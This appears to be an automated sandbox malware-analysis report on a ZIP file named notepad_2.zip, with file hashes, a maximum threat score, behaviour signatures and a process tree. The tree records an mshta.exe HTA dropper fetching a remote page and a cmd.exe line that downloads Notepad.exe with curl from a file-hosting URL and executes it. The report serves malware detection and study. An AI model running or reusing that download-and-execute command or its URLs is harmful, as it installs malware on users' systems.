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Analysis

  • max time kernel
    106s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    03/06/2024, 14:48

General

  • Target

    notepad_2.zip

  • Size

    1KB

  • MD5

    b39defe5cd732c3cc151dae24516b2c2

  • SHA1

    35169a713cc05f4d29a0c9925a1cf8d8480d057e

  • SHA256

    63b5d3c8355a4df0fd1e83caa6fc85ee3aeea1ef4f44cf431215ade6b1c2fbea

  • SHA512

    a3b3b41828a97092dbfa1d8e4be7849d2febca993df50c85a8355392c4bd1d0fe04827ab872f47d16e3e0b984d70d697adb05cd9f0ceccd5ba9732c9a266e71f

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://ayzax.com/index.html

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\notepad_2.zip
    1⤵
      PID:2896
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\notepad_2.zip"
      1⤵
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1908
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1592
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5509758,0x7fef5509768,0x7fef5509778
        2⤵
          PID:2400
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1152 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:2
          2⤵
            PID:2608
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
            2⤵
              PID:2364
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1568 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
              2⤵
                PID:2460
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2280 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:1
                2⤵
                  PID:2468
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2288 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:1
                  2⤵
                    PID:1504
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1392 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:2
                    2⤵
                      PID:2204
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2192 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:1
                      2⤵
                        PID:2152
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3416 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
                        2⤵
                          PID:2948
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3468 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
                          2⤵
                            PID:2976
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3576 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
                            2⤵
                              PID:2628
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3880 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:1
                              2⤵
                                PID:2744
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3724 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
                                2⤵
                                  PID:2648
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2584 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:1
                                  2⤵
                                    PID:272
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3920 --field-trial-handle=1116,i,2414287571023949273,5482304262795108069,131072 /prefetch:8
                                    2⤵
                                      PID:1384
                                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                    1⤵
                                      PID:740
                                    • C:\Windows\System32\mshta.exe
                                      "C:\Windows\System32\mshta.exe" https://ayzax.com/index.html
                                      1⤵
                                        PID:2868
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c curl.exe https://download1587.mediafire.com/v7nljip47mug_sYkAGIJJixUG-GRANWoTVdf2qA8WvXsv_89h8YzbqNPhHjG0bZmoZRTn7E6igR-uBI_vTiLg1-JzO3i7MfPCw-5zZk-Yiu0I0T5N3Gsxs33J4Cu0fEBrjrt8j_SbwG1vF_V-I2Nfsw8O3C-248SgxQHEv7gNqqi/wjesscbmm8mchg1/Notepad.exe --output C:\Users\Admin\AppData\Roaming\\notepad.exe && C:\Users\Admin\AppData\Roaming\\notepad.exe
                                          2⤵
                                            PID:2652

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                                          Filesize

                                          264KB

                                          MD5

                                          f50f89a0a91564d0b8a211f8921aa7de

                                          SHA1

                                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                                          SHA256

                                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                          SHA512

                                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                          Filesize

                                          1015B

                                          MD5

                                          bfd627c334a46ae028723b4056142ef8

                                          SHA1

                                          52d21d03531f98597745580a83b6766e71aa687f

                                          SHA256

                                          855663e96eae1567248a48588b6492d3f513be3cb39e89a7cb4a95d570e1d38c

                                          SHA512

                                          fd0caef2fa83a0620d4cae694260837ac05049c0737e2b5b7a314e9677fab8bbba3483e16051ed838aa97720b2eebc64efb692e703bc1dfa8ea8fb81aa310f70

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                          Filesize

                                          363B

                                          MD5

                                          eee0a820acfbfdc59a201ea7891bc2aa

                                          SHA1

                                          5a3e426fd13dfdab2f9c30597ae40135d0387467

                                          SHA256

                                          59c0e505d8a6a192b5e85c30a211feb436a85b20deff20208f5b81efe70cee63

                                          SHA512

                                          b5df078bec104150857809a132b352673a783cfe11aab80b943dee7cfb58347873c98d8db8921d1ac1972255f4e09406fd38be36004a32de7f047f06fd116abe

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                          Filesize

                                          1015B

                                          MD5

                                          65385ebc02a9923c7f78a0c3b38999d8

                                          SHA1

                                          9ca57e250d2c0be1b668e5d7434e42d4a4e6e2a6

                                          SHA256

                                          cab3ad5af2f7e219f0b4ddf705347bbf221002b1e5d480d84fb6ec29a1918439

                                          SHA512

                                          05d4c3d1da05a676131496c549cc3a56c2b47e601952b0a36106d7da5b6d4115540130f0bfadc42d854375c3f0cd81aac806931103aa150fb00e60162d436f41

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          abb45bffe61abc723a6e0dd0ca97b749

                                          SHA1

                                          c7a6a5ed84c879518a404a2d90894a71ec266209

                                          SHA256

                                          3e266901d0bf58398abe9958f0f9bd479711289ec40ca2e09ceaf7d4c79770fe

                                          SHA512

                                          104cad72df4686c41f46b70fe5023c1ff9e4e5307d19cebebb4c4c425d4fe9537d44bf911ef903c57c4143592bbda76d1d5605dda27ac3b5e661220e2c74c291

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          51323f7ae8da870cbc896d04f36b42ec

                                          SHA1

                                          c0a2235ff47f6feeddf4a6c967168081860de03f

                                          SHA256

                                          3793806d298195cc1b866cf6249cc56ee45eee5caf598b161e2f1a8201d17d04

                                          SHA512

                                          dfc07cba5187da01a8fc85ba61c672b773e4eb9679c580270ab0ddcd06af3325f8829bc166a1ff315613c5e77e4ce8556de15faa40af09429b1ec078756b7064

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          ec2792dc59a180e040a441e2cb2ecb53

                                          SHA1

                                          41fe3a3b1f1919c34b8463103b8e788347bc658d

                                          SHA256

                                          857d2e46d2fbe5b1321c32fdd389b26a6ed60bc3496c8765ce9628d0169758f5

                                          SHA512

                                          cd6eef1894acc8e3e1a03aa3d62b9feb6a300f3be30a04cea5b72e4f061446e454a48b2a660ab9af38001dc36c2fbf5ed7f9b56f183b2760a9b639cbd7415670

                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                                          Filesize

                                          16B

                                          MD5

                                          18e723571b00fb1694a3bad6c78e4054

                                          SHA1

                                          afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                          SHA256

                                          8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                          SHA512

                                          43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2